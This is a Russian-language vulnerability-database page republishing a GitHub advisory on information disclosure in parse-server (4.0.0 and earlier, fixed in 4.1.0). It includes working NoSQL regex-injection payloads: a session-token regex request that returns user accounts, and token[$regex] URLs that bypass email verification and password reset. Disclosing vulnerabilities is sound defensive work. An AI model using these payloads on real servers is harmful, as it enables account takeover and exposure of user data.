Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-h4mf-75hf-67w4

Опубликовано: 04 мар. 2020
Источник: github
Github: Прошло ревью
CVSS3: 7.7

Описание

Information disclosure in parse-server

  1. you can fetch all the users' objects, by using regex in the NoSQL query. Using the NoSQL, you can use a regex on sessionToken ("_SessionToken":{"$regex":"r:027f"}} and find valid accounts this way.

Using this method, it's possible to retrieve accounts without interaction from the users.

GET /parse/users/me HTTP/1.1

{ "_ApplicationId": "appName", "_JavaScriptKey": "javascriptkey", "_ClientVersion": "js2.10.0", "_InstallationId": "ca713ee2-6e60-d023-a8fe-14e1bfb2f300", "_SessionToken": { "$regex": "r:5" } }

When trying it with an update query the same thing luckily doesn't seem to work: POST /parse/classes/_User/PPNk59jPPZ

  1. There is another similar vulnerability in verify email and the request password reset.

If you sign up with someone else's email address, you can simply use regex in the token param to verify the account: http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&username=some@email.com

The same thing can be done for reset password: http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&username=some@email.com

You may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.

Пакеты

Наименование

parse-server

npm
Затронутые версииВерсия исправления

<= 4.0.0

4.1.0

EPSS

Процентиль: 54%
0.00313
Низкий

7.7 High

CVSS3

Дефекты

CWE-200
CWE-285

Связанные уязвимости

CVSS3: 7.7
nvd
почти 6 лет назад

In parser-server before version 4.1.0, you can fetch all the users objects, by using regex in the NoSQL query. Using the NoSQL, you can use a regex on sessionToken and find valid accounts this way.

EPSS

Процентиль: 54%
0.00313
Низкий

7.7 High

CVSS3

Дефекты

CWE-200
CWE-285